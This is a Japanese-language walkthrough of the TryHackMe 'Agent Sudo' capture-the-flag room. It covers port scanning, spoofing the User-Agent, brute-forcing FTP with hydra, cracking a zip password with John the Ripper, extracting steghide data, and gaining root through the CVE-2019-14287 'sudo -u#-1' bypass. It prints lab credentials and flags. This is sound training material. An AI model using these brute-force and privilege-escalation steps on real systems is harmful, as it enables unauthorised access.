[TryHackMe] Agent Sudo #Writeup

# はじめに
備忘録です。Task 2 から。

# Task 2 [Enumerate]
## How many open ports?
まずは nmap 

```
$ nmap 10.10.70.219

Starting Nmap 7.60 ( https://nmap.org ) at 2024-07-12 13:02 BST
Nmap scan report for ip-10-10-70-219.eu-west-1.compute.internal (10.10.70.219)
Host is up (0.042s latency).
Not shown: 992 closed ports
PORT      STATE    SERVICE
21/tcp    open     ftp
22/tcp    open     ssh
80/tcp    open     http
1141/tcp  filtered mxomss
1687/tcp  filtered nsjtp-ctrl
2065/tcp  filtered dlsrpn
2998/tcp  filtered iss-realsec
34573/tcp filtered unknown
MAC Address: 02:C5:E9:CB:02:47 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.98 seconds
```
ftpとsshとhttpがopenだった。

:::note
3
:::

## How you redirect yourself to a secret page?
httpがオープンなのでブラウザで開いてみる。
なんか書いてあった。
>Dear agents,
>
>Use your own codename as user-agent to access the site.
>
>From,
>Agent R 

:::note
user-agent
:::


## What is the agent name?

困ったらgobuster

```
$ gobuster dir -u http://10.10.70.219 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.70.219
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2024/07/12 13:07:45 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/index.php (Status: 200)
/server-status (Status: 403)
===============================================================
2024/07/12 13:07:47 Finished
===============================================================
```
隠しページはないや。

Burp Suiteを起動。
Foxy Proxyをオンにして、Burp SuiteのProxyの"Inspect is on"をクリック。

```
GET / HTTP/1.1
Host: 10.10.251.55
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
```

ここで、ヒントをみると以下のように書いてあった。
>You might face problem on using Firefox. Try 'user agent switcher' plugin with user agent: C

これ、User-AgentでCを指定したらいいんじゃない？

```
GET / HTTP/1.1
Host: 10.10.251.55
User-Agent: C
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
```
ページを更新したら、http://[ip]/agent_C_attention.phpにアクセスできた。
内容は以下の通り。

>Attention chris,
>
>Do you still remember our deal? Please tell agent J about the stuff ASAP. Also, change your god damn password, is weak!
>
>From,
>Agent R 

:::note
chris
:::

※別解として、Payloadでブルートフォースアタックすることで、User-agentがCであることもわかる。


# Task 3 [Hash cracking and brute-force]
## FTP password
さっきのAgent Rからchrisへのメッセージより、chrisのパスワードが脆弱なことがわかる。
ここでFTPのパスワードを求めてきているので、ユーザー名をchrisに固定してftpをブルートフォースアタックする。

```
$ hydra -l chris -P /usr/share/wordlists/rockyou.txt 10.10.251.55 ftp
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2024-07-13 01:58:00
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking ftp://10.10.251.55:21/
[21][ftp] host: 10.10.251.55   login: chris   password: crystal
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2024-07-13 01:59:15
```
:::note
crystal
:::

## Zip file password
chris アカウントでftp接続する。

```
$ ftp 10.10.251.55
Connected to 10.10.251.55.
220 (vsFTPd 3.0.3)
Name (10.10.251.55:root): chris
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0             217 Oct 29  2019 To_agentJ.txt
-rw-r--r--    1 0        0           33143 Oct 29  2019 cute-alien.jpg
-rw-r--r--    1 0        0           34842 Oct 29  2019 cutie.png
226 Directory send OK.
```
三つのファイルを見つけた。
とりあえず全部ダウンロードしてみた。
To_agentJ.txt の内容は以下の通り。
>Dear agent J,
>
>All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.
>
>From,
>Agent C

パスワードは写真に保存されているらしい。
cutie.pngをexiftoolで詳細をみる。
```
exiftool cutie.png
ExifTool Version Number         : 10.80
File Name                       : cutie.png
Directory                       : .
File Size                       : 34 kB
File Modification Date/Time     : 2024:07:13 02:04:14+01:00
File Access Date/Time           : 2024:07:13 02:07:58+01:00
File Inode Change Date/Time     : 2024:07:13 02:04:14+01:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 528
Image Height                    : 528
Bit Depth                       : 8
Color Type                      : Palette
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Palette                         : (Binary data 762 bytes, use -b option to extract)
Transparency                    : (Binary data 42 bytes, use -b option to extract)
Warning                         : [minor] Trailer data after PNG IEND chunk
Image Size                      : 528x528
Megapixels                      : 0.279
```
cute-alien.jpgも見てみる。
```
exiftool cute-alien.jpg
ExifTool Version Number         : 10.80
File Name                       : cute-alien.jpg
Directory                       : .
File Size                       : 32 kB
File Modification Date/Time     : 2024:07:13 02:04:00+01:00
File Access Date/Time           : 2024:07:13 02:07:59+01:00
File Inode Change Date/Time     : 2024:07:13 02:04:00+01:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 96
Y Resolution                    : 96
Image Width                     : 440
Image Height                    : 501
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 440x501
Megapixels                      : 0.220
```
コメント等は発見できず。
cute-alien.jpgのエイリアンの右下に何かサインっぽいものが見えるが、読み取れず。
stringsをかけてみた。

```
$ strings cutie.png

....

^[=&
IEND
To_agentR.txt
W\_z#
2a>=
To_agentR.txt
EwwT
`````

To_agentR.txtという文字列が見える。
cute-alien.jpgも試してみたが、めぼしいものはヒットせず。
cutie.pngをbinwalkにかけてみる。

https://github.com/ReFirmLabs/binwalk

```
$ binwalk -e cutie.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 528 x 528, 8-bit colormap, non-interlaced
869           0x365           Zlib compressed data, best compression
34562         0x8702          Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820         0x8804          End of Zip archive
```
8702.zipの中にTo_agentR.txtというファイルが含まれている。


```
$ unzip -Z _cutie.png.extracted/8702.zip
Archive:  _cutie.png.extracted/8702.zip
Zip file size: 280 bytes, number of entries: 1
-rw-r--r--  6.3 unx       86 Bx u099 19-Oct-29 20:29 To_agentR.txt
1 file, 86 bytes uncompressed, 86 bytes compressed:  0.0%
```

パスワードによって保護されていた。
解凍するにはパスワードを突き止める必要がある。

Johntheripperを使ってパスワードを解読する。

https://github.com/openwall/john

```
$ zip2john 8702.zip > hash.txt
$ john hash.txt
Warning: detected hash type "ZIP", but the string is also recognized as "ZIP-opencl"
Use the "--format=ZIP-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/opt/john/password.lst
alien            (8702.zip/To_agentR.txt)
1g 0:00:00:05 DONE 2/3 (2024-07-13 02:59) 0.1964g/s 8731p/s 8731c/s 8731C/s 123456..Peter
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```
:::note
alien
:::

## steg password
先ほどのzipの中身を確認する。

```
$ 7z x 8702.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7571 (800F12),ASM,AES-NI)

Scanning the drive for archives:
1 file, 280 bytes (1 KiB)

Extracting archive: 8702.zip
--
Path = 8702.zip
Type = zip
Physical Size = 280

    
Would you like to replace the existing file:
  Path:     ./To_agentR.txt
  Size:     0 bytes
  Modified: 2019-10-29 13:29:11
with the file from archive:
  Path:     To_agentR.txt
  Size:     86 bytes (1 KiB)
  Modified: 2019-10-29 13:29:11
? (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? Y

                    
Enter password (will not be echoed):
Everything is Ok    

Size:       86
Compressed: 280
```
内容は以下の通り。

>Agent C,
>
>We need to send the picture to 'QXJlYTUx' as soon as possible!
>
>By,
>Agent R

'QXJlYTUx'が気になる。8桁の文字列だしBase64か？

デコードしたら、"Area51"という文字列がでてきた。

問題文が "steg password" だし、
cute-alien.jpg はステガノグラフィーなんだろうなと想像がつく。

```
steghide extract -sf cute-alien.jpg
Enter passphrase: 
wrote extracted data to "message.txt".
```
パスワードは先ほどの"Area51"を入力したら、message.txtが出てきた。

:::note
Area51
:::

## Who is the other agent (in full name)?
message.txtの内容は以下の通り。

>Hi james,
>
>Glad you find this message. Your login password is hackerrules!
>
>Don't ask me why the password look cheesy, ask agent R who set this password for you.
>
>Your buddy,
>chris

:::note
james
:::

## SSH password
さっきのメッセージに載ってた。

:::note
hackerrules
:::


# Task 4 [Capture the user flag]
## What is the user flag?
さっきのユーザー名とパスワードでssh接続。

```
ssh james@10.10.251.55
james@10.10.251.55's password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-55-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Jul 13 02:35:31 UTC 2024

  System load:  0.03              Processes:           95
  Usage of /:   39.7% of 9.78GB   Users logged in:     0
  Memory usage: 18%               IP address for eth0: 10.10.251.55
  Swap usage:   0%


75 packages can be updated.
33 updates are security updates.


Last login: Sat Jul 13 02:34:31 2024 from 10.10.180.178
james@agent-sudo:~$ ls
Alien_autospy.jpg  user_flag.txt
james@agent-sudo:~$ cat user_flag.txt
b03d975e8c92a7c04146cfa7a5a313c7
```

:::note
b03d975e8c92a7c04146cfa7a5a313c7
:::

## What is the incident of the photo called?
先ほどjpgファイルがあったのを確認できたので、ローカルにダウンロードして画像検索する。

:::note
Roswell Alien Autopsy
:::

# Task 5 [Privilege escalation]
## CVE number for the escalation
とりあえず、sudo -l やってみる。

```
sudo -l
[sudo] password for james: 
Matching Defaults entries for james on agent-sudo:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on agent-sudo:
    (ALL, !root) /bin/bash
```

```
sudo bash
Sorry, user james is not allowed to execute '/bin/bash' as root on agent-sudo.
```
ダメだった。
(ALL, !root) /bin/bash でググると以下の脆弱性が出てきた。

https://www.exploit-db.com/exploits/47502

:::note
CVE-2019-14287
:::

## What is the root flag?
さっきのexploitsに
>EXPLOIT: 
>
>sudo -u#-1 /bin/bash

とあったので実行してみる。
```
james@agent-sudo:~$ sudo -u#-1 /bin/bash
root@agent-sudo:~# 
```
おー。
rootディレクトリにroot.txtがあった。

>To Mr.hacker,
>
>Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine. 
>
>Your flag is 
b53a02f55b57d4439e3341834d70c062
>
>By,
DesKel a.k.a Agent R

:::note
b53a02f55b57d4439e3341834d70c062
:::

## (Bonus) Who is Agent R?
ラスト！

:::note
DesKel
:::

頭文字Rじゃないんかーい！！！！！！！！！！！